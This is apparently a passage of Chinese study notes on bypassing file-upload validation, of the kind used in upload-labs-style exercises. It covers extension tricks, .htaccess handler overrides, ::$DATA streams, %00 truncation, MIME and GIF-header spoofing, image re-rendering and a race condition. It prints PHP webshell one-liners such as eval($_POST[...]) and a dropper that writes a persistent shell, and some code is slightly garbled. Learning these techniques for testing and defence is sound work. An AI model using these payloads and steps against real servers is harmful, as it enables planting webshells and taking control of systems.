2.服务端-黑名单

文件扩展名限制是通过客户端黑名单来限制上传文件的类型  

大小写绕过

大小写绕过文件上传：大小写是把文件拓展名进行Php进行测试绕过（Php phP）

这里需要注意一下，Windows和linux下的两个文件名不一样的

Windows下文件不区分大小写的

linux 下文件是区分大小写的

绕过方法：修改后缀大小写

点和空格绕过

点和空格绕过文件上传：是在文件后缀加上点和空格进行绕过

文件下，在后缀加上空格和点重新命名之后是自动删除所谓的空格和点

可以尝试欺骗服务器验证，但是系统下是不支持加空格加点的

.php空格 这里他会自动解析为.php

.php. 这里同理解析为.php

.php.空格. 路径拼接尝试绕过

绕过方法：这里需要利用burp抓包——>修改后缀为（.php空格 .php）就可以验证了

.htaccess文件绕过

.htaccess文件绕过上传：提供了针对每个目录改变配置的方法

在一个特点的目录中放置一个包含指令的文件，其中的指令作用于此目录及其所有子目录

.htaccess文件是apache服务器中的一个配置文件，它负责相关目录下的网页配置

他的功能有，网页301重定向、自定义404错误页面、改变文件扩展名、

允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等

.htaccess文件代码

<FilesMatch "fox">

SetHander application/x-httpd-php

</FilesMatch>

绕过方法：新建文件——>复制代码——>修改后缀名

php345文件绕过

php345文件绕过上传：代表php版本3 4 5

绕过方法：新建文件——>写入代码——>修改文件后缀名filename.php5

<? php eval($_POST[fox]?)>

windows ::$DATA绕过

windows ::$DATA绕过上传：之内用于windows

NTFS文件系统的存储数据流的一个属性 DATA 时

就是请求 a.php 本身的数据，如果a.php 还包含了其他的数据流，比如

a.php:lake2.php，请求 a.asp:lake2.php::$DATA，

则是请求a.php中的流数据lake2.php的流数据内容

简单来说就是在数据后加::$DATA绕过

fox.php::$DATA 返回的结果 fox.php

绕过方法：这里需要利用burp抓包——>修改后缀为（filename.php::$DATA）就可以验证了

apache解析漏洞上传

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断

比如1.php.xxx对apache来说xxx是不可解析的，所以就会解析成1.php

3.服务端-白名单

MIME验证绕过

MIME 类型 | 菜鸟教程

MIME：多用途互联网扩展类型

是设定某种扩展名的文件用一种应用程序来打开的方式类型

当改扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开

其实就是：服务器判断你上传的什么文件

用于指定一些客户端 自定义的文件名；以及一些媒体文件打开方式

绕过方法：修改媒体类型Content-Type:application-stream、抓包修改后缀

jpg:image/jpeg php:application/x-httpd-php Windows 系统可执行文件格式:application/octet-stream

%00截断

0x00是十六进制表示方法，是ascll码为0的字符

在有些函数处理时，会把这个字符当做结束符。这个可以用在对文件类型名的绕过上

关于00截断get是可以自动转换的，post需要对%00进行特殊转换

绕过方法：

get:这里需要利用burp抓包——>修改后缀为（filename.php%001.jpg）就可以验证了

post:这里需要利用burp抓包——>修改后缀为（filename.php%001.jpg）就可以验证了

需要对%00进行特殊转换（convet selection——>url——>url-decode）

4.服务端-检查内容

文件头检查内容验证

判断文件头数据

filename.gif

GIF89a

<? php eval($_POST[fox]?)>

二次渲染

定义：当我们上传一张 .jpg/.png/.gif 后缀的图片时，网页上显示的并不是我们原先上传的图片

而是经过后台加工过的图片，这张图片会修改原图的某些部分

当然我们的肉眼是看不出来的，通过修改原图，将原图中插有的恶意代码进行覆盖

二次渲染将图片马里面的php代码删了

接下来把原图和修改后的图片进行比较，看哪里没有被渲染，在这里插入php代码

图片二次渲染 用于：防止图片马上传含有恶意代码的文件

绕过办法：找出原图不会被二次渲染的区域，这就要比较原图和选然后的图片

比较未被渲染的区域，需要用到工具 010editor

在未被渲染的区域插入php代码，制作成了一张不会受到二次渲染影响的图片马

<?php $_GET[0]($_POST[1]);?>

5.服务端-其他

条件竞争

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_name = $_FILES['upload_file']['name'];

$temp_file = $_FILES['upload_file']['tmp_name'];

$file_ext = substr($file_name,strrpos($file_name,".")+1);

$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){

if(in_array($file_ext,$ext_arr)){

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

rename($upload_file, $img_path);

$is_upload = true;

}else{

$msg = "只允许上传.jpg|.png|.gif类型文件！";

unlink($upload_file);

}

}else{

$msg = '上传出错！';

}

}

分析以上代码，可以看到他的逻辑是先对文件进行了上传操作，然后在判断文件的扩展名在不在白名单中，如若在，进行重命名。不在则对其进行删除 

分析

1.这么看来如果我们还是上传一个图片马的话，网站依旧存在文件包含漏洞我们还是可以进行利用

但是如果没有文件包含漏洞的话，我们就只能上传一个php木马来解析运行了

假设这一题 没有文件包含漏洞的话，那我们只要上传php木马就会被删除，那还怎么搞

2.要知道代码在执行的时候也是需要时间的，尽管这个时间特别短，只要我们能利用住，就会成功

如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过

3.我们可以利用burp多线程发包，然后不断在浏览器访问我们的webshell（不停的上传），会有一瞬间的访问成功

定义：结合代码审计，将文件上传至服务器后，不会被立即删除，而是做短暂的停留

中间会有一小部分时间差，这部分时间差是代码进行执行语句（if判断的）时间

这部分时间足够执行一句代码，我们利用这段时间差和一段代码就可以达到上传含有恶意代码的非法文件的目的

上传的文件从临时目录移动到 upload_file（服务器的目录），任意类型的文件先上传到服务器上，在决定删除不删除

绕过方法：把这个php文件通过burp一直不停的重放，然后我们在开一个burp一直访问我们的这个php文件，总会有那么一瞬间是还没来得及删除就可以被访问到的

一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件，这样生成的文件是不会被我们的程序删除掉的

a.php

<?php $str='<?php @eval($_POST[cmd]);?>' file_put_contents("b.php",$str); ?>code>

其他语句参考<?php fputs(fopen('shell.php','w'),' <?php phpinfo() ?>')?>

其他语句参考<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>

在a.php 在后台短暂停留的时间内，只要访问它并执行代码，它就会在 upload中创建b.php文件，达到上传非法文件的目的

b.php里面的内容会生成<?php @eval($_POST[cmd]);